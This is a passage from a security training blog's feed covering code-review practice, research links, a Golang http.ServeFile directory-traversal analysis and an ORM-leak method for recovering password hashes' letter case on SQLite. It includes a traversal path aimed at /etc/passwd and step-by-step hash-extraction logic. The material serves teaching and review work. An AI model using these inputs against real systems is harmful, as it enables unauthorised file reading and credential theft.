      <title>Effective Note-Keeping for Web Security Code Reviews</title>
      <description>
        <![CDATA[<div>
  <p class="mb-0">One of the recurring questions I get during my <a href="/live-training/" target="_blank">Web Security Code Review Training</a> is how to keep notes when multiple reviewers are working on the same codebase. This is a topic I also hear AppSec teams discuss frequently.</p>
  <h5 class="fw-bold my-3">The Bad!</h5>
  <p>Let’s face it: reviewing source code to find vulnerabilities is challenging—very challenging. To make things even harder, it's often a timeboxed exercise. The last thing you want is for reviewers to start from scratch every time they look at a codebase, especially if it has already been reviewed. Instead, each review should build on the previous one, making the process faster and easier for subsequent reviewers. To achieve this, your team needs to capture the right artifacts. This blog post will guide you on how to do that. But first, let’s talk about <b>The Ugly</b>.</p> 
  <h5 class="fw-bold my-3">The Ugly!</h5>
  <p>Now, let's discuss <b>The Ugly</b>. One of the worst practices I've seen for keeping artifacts during code review is the use of generic checklists. These often originate from managers without a code review background, who may create them based on advice from a pentest team, ChatGPT, or an uninformed blog post.</p>
  <p>Such checklists often look something like this:</p>
  <table class="table">
    <thead>
      <tr><th>ID</th><th>Name</th><th>Details</th><th>Checked [Y/N]</th></tr>
    </thead>
    <tbody>
      <tr>
        <td>CR-001</td> 
        <td>Input Sanitization</td> 
        <td>All inputs are properly sanitized</td> 
        <td></td> 
      </tr>
      <tr>
        <td>CR-002</td> 
        <td>Parameterized Queries</td> 
        <td>All SQL queries are parameterized</td> 
        <td></td> 
      </tr>
      <tr>
        <td>CR-003</td> 
        <td>Encryption keys</td> 
        <td>Encryption keys are handled securely</td> 
        <td></td> 
      </tr>
      <tr>
        <td>CR-...</td> 
        <td>...</td>
        <td>....</td>
        <td></td> 
      </tr>
    </tbody>
  </table>
  <p>There are only a few reasons why this format might seem satisfactory:</p>
  <ol>
    <li>You’re trying to shift blame to the reviewers if something is missed.</li> 
    <li>You’re not fully aware of what effective code review looks like.</li> 
    <li>Your review team lacks experience, and you're inadvertently ensuring they don't improve.</li> 
  </ol>
  <p>This kind of checklist sets people up for failure. Reviewers are likely to resort to grepping for bugs, which usually yields poor results. They won’t develop a deep understanding of the codebase, and you’ll end up with an artifact that serves compliance rather than actual security. Worse, if something goes wrong, the blame will fall on the reviewers.</p> 
  <h5 class="fw-bold my-3">The Good!</h5>
  <p>To create a more effective process, I recommend keeping code review notes close to your pentest notes. This minimizes duplicated effort—such as searching for vulnerabilities already identified in a pentest—and promotes cross-pollination of ideas between the pentest and code review teams. For example, if a pentest uncovers a suspicious behavior that couldn’t be exploited, this is gold for code reviewers. Ensure that all insights from one team are accessible to the other.</p>
  <p>Regarding format, I suggest using plaintext files or a wiki. Plaintext files are easier to search (especially with grep), but they have limitations in embedding other content types like screenshots or design documents.</p>
  <p class="mb-0">So, what should these notes include?</p>
  <p>First, maintain general notes that provide an overview of the security architecture of the project. For example: “Authentication is handled via ..., authorization is done using ..., file uploads are accepted but don’t touch the disk..., most security checks are implemented in this file...” Also, document any “gotchas” within the application—things that are difficult to figure out or don’t make sense until they do. Highlight fragile aspects of the application, such as: “If they forget to X, it’s a direct XSS vulnerability.” Additionally, include basic project information like where to find the documentation and how to run the application locally. Ideally, you should point to the dev team’s documentation and make it their responsibility to keep it updated.</p>
  <p>Next, record specific details about each review, including:</p>
  <ul>
    <li>Date and version/commit ID reviewed</li>
    <li>Reviewers involved</li>
    <li>Reason for the review (e.g., new version, incident, new CVE)</li>
    <li>Key contacts (who to talk to for more information)</li>
    <li>Areas reviewed and strategies used</li>
    <li>Areas of concern and possible improvements</li>
    <li>Weaknesses and vulnerabilities found</li>
  </ul>
  <p>For example, you might write: “When conducting the review on [date], reviewers focused on [strategy] and identified concerns related to [area]. Weaknesses included [issues], and vulnerabilities were documented [reference to issue tracker].” Potential improvements should also be noted to help guide future reviews.</p>
  <p>It's also essential to establish a process. The first task for each reviewer should be to ensure that the existing notes are up to date. Are the vulnerabilities still present? Are the weaknesses still relevant? Have any of the suggested improvements been implemented?</p>
  <p>Below is an example of how you might structure these notes in a plaintext file (you can also leverage vim’s scaffolding to standardize entries):</p>
  <pre><code>Application: CorpWiki

Source: https://git.co.....

Last reviewed: 01/09/2024

{{ Contact
The best person to talk to is John Doe &lt;john.doe@corp....&gt; in the CorpWiki team &lt;corpwiki-dev@....&gt;.

}}

{{ Architecture / Security Architecture:

This is a Rails application.
Authentication is done using Devise.
Most Authorization checks are done using before_action.
CSRF protection is based on the built-in protection offered by Rails.
The code accepts file uploads but everything goes to AWS s3.
XSS protection is based on the built-in protection offered by Rails.
Data access is done via the datamapper.

}}

{{ Review done on the 02/04/2022:
version: 3.1.0 (commit:8082c74e)

Reason: Initial review
Time spent: 10 days with 2 reviewers
Who: Jane Doe and Richard Roe

Strategies: Mostly reviewed the results of running Brakeman and gaining an idea of the overall architecture of the application.

Area of concerns: 
  * PDF generation using wkhtmltopdf 
  {{ PDF are generated using wkhtmltopdf in lib/pdf.rb 
    It seems like this may be an issue for ....
  }} 

  * CORS
  {{ CORS is handled by ....
    The check in place seems to be based on the assumptions that...
  }} 

  * File handling
  {{ in lib/pdf.rb the PDF generated are added to ...
     This may present an issue if ...
  }}
 

Weaknesses:
  * Outdated version of Devise
  {{ Gemfile.lock line 9
    devise (....)
  }}

  * Some regular expressions don’t rely on Ruby \A and \z
  {{ app/views/users/show.html.erb line 1337
    name =~ /..../
  
  }}

  *  
  {{

  }} 

Potential Improvements:
  * Secrets management
  {{ config/initializers/hack.rb line 89
    ...
  }}  

  * A lot of parameters are not cast as strings using .to_s
  {{ Example  from app/controllers/articles_controller.rb line 5
      ...

  }} 

  * 
  {{

  }} 

Vulnerabilities discovered:
  * SQL injection found in ... (see: https://... issue #PTL001) 
  {{ app/controller/blogs_controller.rb line 39
 
  }} 

  * XSS in app/views/.... (see: https://... issue #PTL003)
  {{ app/views/articles/index.html.erb line 33
  ...
  }}

  * CSRF in /users/logout (see: https://... issue #PTL005)
  {{ app/controllers/users_controller.rb line 30
  ...
  }} 

 
}}

{{ Review done on the ../../....:
version: ...... (commit: ........)

Reason: ...
Time spent: ...
Who: ...

Strategies: ...


Area of concerns: 
  * ...
  * ...
  * ...
  
  
Weaknesses:
  * ...
  {{

  }} 

  * ...
  {{

  }} 

  *  
  {{

  }} 

Potential Improvements:
  * ... 
  {{

  }} 

  * ...
  {{

  }} 

  * ...

Vulnerabilities discovered:
  * ...
  {{

  }} 

  * ...
  {{

  }} 

  * ...
  {{

  }} 

}}
  </code></pre>
  <p>Notice that vulnerabilities are referenced rather than fully documented in the review artifact. This approach helps prevent diluting the key content for reviewers. This may or may not work based on your current process. </p>
  <p>I hope this article provides you with a strong foundation for documenting your team's code review. Make sure you you tailor this content to fit your team’s needs and processes.</p>
</div>



]]>
      </description>
      <pubDate>Tue, 20 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/effective-note-keeping-web-security-code-reviews</link>
      <guid>https://pentesterlab.com/blog/effective-note-keeping-web-security-code-reviews</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 33/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week again, we publish a list of research worth reading! Make sure you check it out!</p>
            </div>
            <div class="mb-5">

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span> We wrote the code, and the code won</h5>
             <p>Do you want to get some insights into the future of crypto(graphy), make sure you check out the latest blog post from Trail of Bits on <a target="_blank" href="https://blog.trailofbits.com/2024/08/15/we-wrote-the-code-and-the-code-won/">SLH-DSA</a>.</p>

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📖 </span> Mixing watering hole attacks with history leak via CSS</h5>
             <p>Some fun with CSS and information leak in this article: <a target="_blank" href="https://adepts.of0x.cc/css-history-leaks/">Mixing watering hole attacks with history leak via CSS</a>. Nothing new but it's always interesting to see how this kind of tricks can be used and modernized. I particularly loved that quote: <i>Mark my words: CSS will bring you more shells than C</i></p>         
                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🎥</span> Walkthrough of CVE-2023-7028 - Account Takeover via Password Reset</h5>
            <p>The team at GitLab just published a video on CVE-2023-7028. This is actually one of the CVEs I use in my <a href="/live-training/" target="_blank">Security Code Review Training</a> as I think it perfectly illustrates a common issue with modern and more specifically Rails applications: <a target="_blank" href="https://www.youtube.com/watch?v=ydg95R2QKwM">Walkthrough of CVE-2023-7028 - Account Takeover via Password Reset</a></p>

               <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">👉</span> AppSec eZine #548</h5>
              <p>AppSec eZine is back with <a href="https://pathonproject.com/zb/?d96604f2a84ec7bd#ZfJzuROWFk8dnSgtqia/XX5Bp0wjQ840hUHBbrbOp+w=" target="_blank">issue #548</a></p>
          </div>



]]>
      </description>
      <pubDate>Sun, 18 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week33-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week33-2024</guid>
    </item>
    <item>
      <title>The Difference between Good and Bad Code Reviewers</title>
      <description>
        <![CDATA[           <div>
              <p class="mb-0">Bad code reviewers use grep... well, good code reviewers use grep, but they are good code reviewers!</p>
           </div>
            <div>
              <p>You are probably not familiar with this <a href="https://www.youtube.com/watch?v=QuGcoOJKXT8" target="_blank">French skit about the difference between a good hunter and a bad hunter</a>: "<i>The bad hunter, he sees something, he shoots... well, the good hunter sees something, he shoots, but it's not the same!</i>". This skit inspired this post because the same idea applies to code reviewers. Let me explain!</p>


            <p>Both good and bad code reviewers use grep during their reviews. Grep is an amazing tool and a must-have when reviewing code, no doubt about that. But the key difference lies in how they use grep.</p>

<h5 class="fw-bold my-4">The Bad Code Reviewer</h5>
<p>A bad code reviewer is looking for shortcuts, using grep to find low hanging fruits, quick wins, "mad hackz". They want quick wins, maybe even a CVE and barely look at the actual code. Or worst, their whole review is based on triaging the output of a few grep commands (or any similar tools).</p>

 <p>That’s the equivalent of running web scanners on an application and complaining that you are not finding good things.</p>

 <p>As a result, they don’t find good bugs, they don’t get better and quickly get discouraged: "Code review isn’t my thing", "Code review is boring".  If you think this is you, don't worry, I have been there too.</p>


<h5 class="fw-bold my-4">The Good Code Reviewer</h5>
 <p>On the other hand, good code reviewers use grep to speed up their review, not to guide it. They may use grep to get familiar with the organisation of the codebase, or to see if a pattern they find is present in multiple places in the codebase. Basically, they are in charge of the review and grep is a tool they rely on for help or to scale their efforts. Not the other way around.</p>

 <p>They don’t rely on grep to do the heavy lifting. They focus on thoroughly reading the code, rather than seeking shortcuts or quick hacks. They are understanding the codebase, looking for small discrepancies, tiny weaknesses in the code, looking for unexpected behaviours in the way developers do things, filter values, prevent vulnerabilities. Once they are familiar enough with the codebase, they usually start finding bugs - good bugs. Unknown unknowns, bugs that you would never thought of looking for, let alone using grep. Bugs that grep will not find, bugs that SAST will not find, bugs that will stay undiscovered for a while unless they decide to share them.</p>


<h5 class="fw-bold my-4">Improving</h5>
 <p>If you find yourself relying heavily on grep for quick wins, it might be time to reassess your approach. Ask yourself: Are you letting grep guide your review, or are you using it to complement a thorough, manual inspection of the code? By shifting your mindset and using grep as a tool rather than a crutch, you'll start to uncover the deeper, more complex bugs that truly make a difference.</p>
]]>
      </description>
      <pubDate>Thu, 15 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/difference-good-bad-code-reviewers</link>
      <guid>https://pentesterlab.com/blog/difference-good-bad-code-reviewers</guid>
    </item>
    <item>
      <title>Spotting Discrepancies in Security Code Reviews</title>
      <description>
        <![CDATA[
<p>When running our <a target="_blank" href="/live-training/">Web Security Code Review Training</a>, I use an analogy on the difference between <i>"They are French"</i> and <i>"They speak French"</i>.  People tend to mix both sentences as if they meant the exact same thing. They don’t. And that is a key principle of security code review (or any code review really). Basically, you want to find places where developers meant one thing but wrote another. Once you find some of those, it’s time to investigate.</p>



<p>Such example can be found in the following code from ASP.NET Core:</p>

<pre><code class="csharp">    public virtual async Task&lt;bool&gt; CheckPasswordAsync(TUser user, string password)
    {
        ThrowIfDisposed();
        var passwordStore = GetPasswordStore();
        if (user == null)
        {
            return false;
        }
        
        var result = await VerifyPasswordAsync(passwordStore, user, password).ConfigureAwait(false);
        if (result == PasswordVerificationResult.SuccessRehashNeeded)
        {
            await UpdatePasswordHash(passwordStore, user, password, validatePassword: false).ConfigureAwait(false);
            await UpdateUserAsync(user).ConfigureAwait(false);
        }
            
        var success = result != PasswordVerificationResult.Failed;
        if (!success)
        {
            Logger.LogDebug(LoggerEventIds.InvalidPassword, "Invalid password for user.");
        }
        return success;
    }
</code></pre>

<p>The line:</p>

<pre><code class="csharp">        var success = result != PasswordVerificationResult.Failed;</code></pre>

<p>is used to decide if the authentication was successful or not. This code does not check if the <code>PasswordVerificationResult</code> was successful, it checks that the result was not <code>PasswordVerificationResult.Failed</code>. There is a very small distinction and there is room for mistakes. If we can find a way to return something that is  not <code>PasswordVerificationResult.Failed</code>, we may be into something...</p> 
<p>What we want now is to find some code that will return something along the line of <code>PasswordVerificationResult.SomethingIsNotRight</code>, allowing us to bypass the check: </p>

<pre><code class="csharp">        var success = result != PasswordVerificationResult.Failed;</code></pre>

<p>What if we provide an empty password, what if the password in the database is corrupted, what if the computation of the hash fails…</p>

<p>Now, as a security code reviewer, it is time to check all the code paths and try to find one that gets the code to return something that is not <code>PasswordVerificationResult.Failed</code>. If we find one, we potentially have a way to bypass the authentication mechanism.</p>

<p>A second option is to look at the declaration of <code>PasswordVerificationResult</code>: </p>

<pre><code class="csharp">public enum PasswordVerificationResult
{
    /// <summary>
    /// Indicates password verification failed.
    /// </summary>
    Failed = 0,

    /// <summary>
    /// Indicates password verification was successful.
    /// </summary>
    Success = 1,

    /// <summary>
    /// Indicates password verification was successful however the password was encoded using a deprecated algorithm
    /// and should be rehashed and updated.
    /// </summary>
    SuccessRehashNeeded = 2
}</code></pre>

<p>We can see that it is an enum that can only take three values. This tells us that we only have two options: <code>Failed</code> and <code>Success</code> (since <code>SuccessRehashNeeded</code> is just a variant of <code>Success</code>). Unfortunately we don’t get to bypass the authentication.</p>


<p>While this specific investigation didn’t lead to an authentication bypass in ASP.NET Core, it illustrates a key element of Web Security Code Review: how  small discrepancies between what developers want to say  and what developers wrote can lead to security issues.</p>


]]>
      </description>
      <pubDate>Mon, 12 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/spotting-discrepancies-in-security-code-reviews</link>
      <guid>https://pentesterlab.com/blog/spotting-discrepancies-in-security-code-reviews</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 32/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week again, we publish a list of research worth reading! Make sure you check it out!</p>
            </div>
            <div class="mb-5">
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛠️</span>Gitxray: a security X-Ray for GitHub repositories</h5>
             <p>Bad actors in your Github? Worry no more, the awesome team at Kulkan has you covered with the new tool they just released: gitxray. They detail some of the use cases in their blog post:  <a target="_blank" href="https://blog.kulkan.com/gitxray-a-security-x-ray-for-github-repositories-af8322350db4"> Gitxray: a security X-Ray for GitHub repositories</a>.</p>         

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️ </span>ARVO: Atlas of Reproducible Vulnerabilities for Open Source Software</h5>
             <p>If you are looking for reproducible vulnerabilities in C/C++ based Open Source Software, look no further: read <a target="_blank"  href="https://arxiv.org/pdf/2408.02153"> the paper</a> and download the dataset: <a target="_blank"  href="https://github.com/n132/ARVO-Meta/">n132/ARVO-Meta/</a>.</p>
                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👉</span> Splitting the email atom: exploiting parsers to bypass access controls and Listen to the whispers: web timing attacks that actually work
</h5>
             <p>It’s BlackHat and Defcon time! The research team at PortSwigger published some new research on <a target="_blank" href="https://portswigger.net/research/splitting-the-email-atom">email parsing</a> and <a target="_blank" href="https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work">web timing attacks</a>.</p>

 
          </div>



]]>
      </description>
      <pubDate>Sun, 11 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week32-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week32-2024</guid>
    </item>
    <item>
      <title>Good Enough - A look at Golang http.ServeFile</title>
      <description>
        <![CDATA[<p>As a security engineer, and like many people in security, I prefer bulletproof solutions to patches that fix only half of the problem.</p>

<p>But when you come across the same code that, despite being far from perfect, keeps preventing you from exploiting some code that should be exploitable, you have to realize: "That’s good enough."</p>

<p>Sometimes a simple solution that prevents 80% of vulnerabilities is better than no solution: "Perfect is the enemy of good."</p>

<p>You may wonder why I’m blogging about this. Once again, I came across the following pattern in Golang:</p>

<pre><code class="golang">func InitializeBlog(router *httptreemux.TreeMux) {
  […]
  router.GET("/images/*filepath", imagesHandler)
  […]
}

func imagesHandler(w http.ResponseWriter, r *http.Request, 
                                          params map[string]string) {

  http.ServeFile(w, r, filepath.Join(filenames.ImagesFilepath, 
                                     params["filepath"]))
  return
}     
</code></pre>

<p>If you are not familiar with Golang, <code>http.ServeFile()</code> will serve the file based on the third argument.</p>

<p>Here, you may think that you have a clear directory traversal. Accessing <code>/images/../../../../../../../etc/passwd</code> will give you the precious content of <code>/etc/passwd</code>.</p>

<p>Unfortunately (for attackers), in 2016, Golang developers introduced a <a target="_blank" href="https://github.com/golang/go/issues/14110">protection against directory traversal in <code>http.ServeFile()</code></a> with the commit <a href="https://github.com/golang/go/commit/9b67a5de79af56541c48c95c6d7ddc8630e1d0dc" target=_blank">9b67a5de79af56541c48c95c6d7ddc8630e1d0dc</a>.</p>

<p>They added a check to throw an error if they detect a <code>..</code>.</p>

<p>But what is interesting is that they don’t check the <code>name string</code> provided as part of the third argument to <code>http.ServeFile()</code>. This check is implemented on the URL path: <code>r.URL.Path</code>, with <code>r *Request</code> being the HTTP request.</p>


<p>Basically, the code we saw above is not exploitable not because the developers were careful or prevented directory traversal attacks. It is not exploitable because they put the path to the file in the URL:</p>

<pre><code>  router.GET("/images/*filepath", imagesHandler)
</code></pre>

<p>And the interesting thing is that the more protection developers try to put in place, the more likely they are to enable the exploitation of this issue.</p>

<p>For example, developers may have decided to get rid of <code>;</code> in the path provided:</p>

<pre><code>func imagesHandler(w http.ResponseWriter, r *http.Request, 
                    params map[string]string) {

  path := filepath.Join(filenames.ImagesFilepath, params["filepath"])
  newPath := strings.Replace(path, ";", "", -1)

  http.ServeFile(w, r, newPath)
}
</code></pre>

<p>Or they may decide to normalize, encode or decode the path. Any modifications, really...</p>

<p>Those modifications can potentially allow attackers to bypass the protection provided by <code>http.ServeFile()</code> because they no longer need <code>..</code> to exploit the issue. And since the protection applies to <code>r.URL.Path</code> and not to <code>name</code>, the protection does not prevent the exploitation.</p>

<p>But in most cases, developers do nothing, and this protection is just "Good enough."</p>




]]>
      </description>
      <pubDate>Tue, 06 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/good-enough-golang-http-ServeFile</link>
      <guid>https://pentesterlab.com/blog/good-enough-golang-http-ServeFile</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 31/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week again, we publish a list of research worth reading! Not sure if it is the BlackHat/Defcon effect, but it is pretty quiet!!</p>
            </div>
            <div class="mb-5">
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔥</span> Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit</h5>
             <p>If you can only read one article this week, you need to read this one: <a href="https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/" target="_blank">Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit</a>. </p>         

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️ </span>ORM Leak Exploitation Against SQLite </h5>
             <p>Some love for our own blog with a blog post on <a target="_blank" href="/blog/orm-leak-with-sqlite3">ORM Leak exploitation against SQLite<a>.</p>
                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👉</span> FAQ: The tragedy of low-level exploitation</h5>
             <p>A really good FAQ on the reality of roles/career opportunities in low-level exploitation:  <a target="_blank" href="https://gynvael.coldwind.pl/?id=791">The tragedy of low-level exploitation</a>. It's a bit generic (by nature), and people will probably find counterexamples, but I think it is definitely worth reading for people aiming for a job in low-level exploitation.</p>

              <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">👉</span> AppSec eZine #546</h5>
              <p>AppSec eZine is back with <a href="https://pathonproject.com/zb/?0a2fa22c248f7118#CMbokIcAi4O+ROfXhxEsz7equNEh9vOyRy/q+VEOlV0=" target="_blank">issue #546</a></p>
 
          </div>



]]>
      </description>
      <pubDate>Sun, 04 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week31-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week31-2024</guid>
    </item>
    <item>
      <title>ORM Leak Exploitation Against SQLite</title>
      <description>
        <![CDATA[           <div>
              <p class="mb-0">We are currently building our ORM Leak labs and found a quirk worth sharing. The goal of our labs is to recover the hashed password of one of the users by leveraging ORM Leaks.</p>

              <p>First, if you don’t know much about ORM Leaks, you should definitely check out the excellent article from elttam: <a target="_blank" href="https://www.elttam.com/blog/plormbing-your-django-orm/" > PlORMbing Your Django ORM</a>.</p>


            <p class="mb-0"> While building our labs, we came across an issue, we used SQLite3...</p> 

            <p>SQLite3 is great and it makes building challenges a lot easier than other databases as you can keep everything in one single container. But SQLite has one limitation: "SQLite doesn’t support case-sensitive LIKE statements".</p> 

            <p>And the key to solve the lab is case-sensitive. Basically, our subscribers had to recover the key and the case of the key. And retrieving the case of the key doesn’t seem to be something that is well-documented until now. Since this was the first challenge of the set, we also didn’t want to be too hard so we moved to MySQL.</p>

            <p>            Now that you have a bit of context, let’s go down the rabbit hole. This issue allowed us to discover how to solve the challenge with sqlite3. </p>

            <h5 class="fw-bold my-3">Solving the challenge with SQLite3</h5>

            <p>To get started, you will need to use the same algorithm as any other database, this will give you the lowercase value of the hash of the password you are trying to recover. Now we want to recover the exact match. To solve our issue, a good start is to start reading some Django documentation, this allowed us to come across <a target="_blank" href="https://docs.djangoproject.com/en/dev/ref/models/querysets/#exact"><code>__exact</code></a></p>

            <p>To get an  exact match, we will have to try all the possible combinations of uppercase and lowercase until you get a result by using <code>__exact</code>.</p>


            <p>But that seems a bit slow? Let’s improve the second part of the recovery by replacing <code>__exact</code> with <code>__regex</code> (that we can also find in the same documentation).! The second part of the recovery takes a lot of time because we need to test all combinations for only one match. With <code>__regex</code>, we can achieve the same result progressively.</p>

            <p>First we need to escape a few characters to avoid breaking the regular expression: <code>$</code>, <code>/</code>, <code>=</code>. Once we get that working, what we will do is replace every character a-z with an equivalent that matches the lowercase and the uppercase value: <code>[a|A]</code>.</p> 

            <p>If we recovered the hash <code>pbkdf2_sha256$720000$abcd</code>, our new value becomes: <code>pbkdf2_sha256\\$720000\\$[a|A][b|B][c|C][d|D]...</code> or (shorter): <code>pbkdf2_sha256\\$720000\\$[aA][bB][cC][dD]...</code>. Then we can start replacing one expression at a time with one of the two possible letters and test for:  <code>pbkdf2_sha256\\$720000\\$a[bb][cC][dD]…</code> to see if we have a match. If we do, we keep <code>a</code>, otherwise we keep <code>A</code>. Let’s say we don’t have a match (and keep <code>A</code>).

            <p>We can move to the next one and test for:  <code>pbkdf2_sha256\\$720000\\$Ab[cC][dD]…</code> to see if we have a match. If we do, we keep <code>b</code>, otherwise we keep <code>B</code>.</p>

            <p>And you keep going until you recover the full hashed password with the proper case!</p> 

            <h5 class="fw-bold my-3">Conclusion</h5>
          <p>In this post, we explored ORM leaks, focusing on the quirks of SQLite3 databases. Building our ORM Leak labs revealed valuable lessons about SQLite limitations and strategies to overcome them. Whether you're dealing with SQLite issues or curious about ORM leaks, this guide offers useful insights and tips.</p>

          <p>If you want to try exploiting this issue, be sure to check out our challenge: <a href="https://pentesterlab.com/exercises/orm-leak-03" target="_blank">ORM LEAK: SQLite</a>.</p>

           </div>


]]>
      </description>
      <pubDate>Tue, 30 Jul 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/orm-leak-with-sqlite3</link>
      <guid>https://pentesterlab.com/blog/orm-leak-with-sqlite3</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 30/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week again, we publish a list of research worth reading! A lot of Java this week!</p>
            </div>
            <div class="mb-5">
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔥</span> Let's Make &amp; Crack a PRNG in Go!</h5>
             <p>I love this kind of content, let's build something and break it. Even if you are not big on Go, this is worth a read: <a href="https://vaktibabat.github.io/posts/PRNG_In_Go/" target="_blank">Let's Make & Crack a PRNG in Go!</a> </p>         

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔥</span> JNDI Injection Remote Code Execution via Path Manipulation in MemoryUserDatabaseFactory</h5>
             <p>Deep dive into Java Exploitation with <a href="https://x.com/steventseeley" target="_blank">Steven</a> latest post: <a target="_blank" href="https://srcincite.io/blog/2024/07/21/jndi-injection-rce-via-path-manipulation-in-memoryuserdatabasefactory.html">JNDI Injection Remote Code Execution via Path Manipulation in MemoryUserDatabaseFactory</a></p>
                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👉</span> Injecting Java in-memory payloads for post-exploitation</h5>
             <p>Another <a target="_blank" href="https://www.synacktiv.com/publications/injecting-java-in-memory-payloads-for-post-exploitation">great post</a> from Synactkiv and something I'm really fond of!.</p>
              
              <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">👉</span> AppSec eZine #545</h5>
              <p>AppSec eZine is back with <a href="https://pathonproject.com/zb/?7603123e900d5a7b#g+YKUnwm2c6CGyimNH3E9LX72lZiXAv5pUTILMia+TQ=" target="_blank">issue #545</a></p>
 
          </div>


]]>
      </description>
      <pubDate>Mon, 29 Jul 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week30-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week30-2024</guid>
    </item>
    <item>
      <title>What makes a Language More Secure</title>
      <description>
        <![CDATA[<div>
    <p class="mb-0">When it comes to the security of programming languages, the conversation often revolves around memory safety and typing. These features, while important, may not be as critical in the context of modern web applications, which typically already offer memory safety. Instead, for those conducting code reviews across multiple languages, a key component of secure applications is the quality and adoption of the standard library.</p>


<h5 class="fw-bold my-3">The Importance of Standard Libraries</h5>
<p>As a code reviewer, you can usually tell the quality of a codebase based on how much it relies on the standard library. If developers are writing their own versions of things like uppercasing a string, extracting a filename from a path, or extracting an extension from a file—while those functionalities are already covered by the standard library—you know it is worth digging further. Either the developers don’t know the language well, or they like to reinvent the wheel. In both cases, this is a clear signal to keep reading, and bugs will rain. This is why a robust, well-documented, and well-adopted standard library can significantly enhance the security of your application. It reduces the need for developers to reinvent the wheel, minimizing the risk of introducing new vulnerabilities.</p>

<h5 class="fw-bold my-3">Frameworks and Documentation</h5>
<p>Extending this principle to frameworks, the quality of documentation becomes paramount. Good documentation helps developers understand how to use libraries and frameworks securely. When the documentation is clear, comprehensive, and easy to follow, it guides developers toward best practices and helps them avoid common pitfalls. On the other hand, poor documentation can lead developers to write vulnerable code. One of my favorite examples of this can be found in the image below:</p>

<p><img src="/newdesign/imgs/blog-imgs/bad-documentation.png" alt="Bad Documentation Example" width="95%"></p>
<p>If you are familiar with regular expressions in Ruby, you know that this is a pretty bad idea...</p>

<h5 class="fw-bold my-3">Avoiding Surprises in Functions and Methods</h5>
<p>Another critical aspect is having functions or methods that behave as expected. Surprising behavior can lead to security flaws. My favorite example of this is the Golang functions <code>path.Clean</code> and <code>filepath.Clean</code> used to "clean" a path. Canonicalization and sanitization can be confusing for developers. If you expect <code>path.Clean</code> and <code>filepath.Clean</code> to prevent directory traversal attacks, you are <a target="_blank"  href="https://x.com/snyff/status/1256003542722084864"> in for a surprise</a>.</p>

<h5 class="fw-bold my-3">Some Things Should Come for Free</h5>
<p>Security should be built-in, not bolted on. Password hashing is a perfect example. Developers should not have to implement their own password hashing algorithms or even install a library for this. The standard library or framework should provide robust, up-to-date password hashing out of the box, including support for algorithm rotation to keep up with evolving security standards.</p>

<h5 class="fw-bold my-3">The Quality of Search Results</h5>
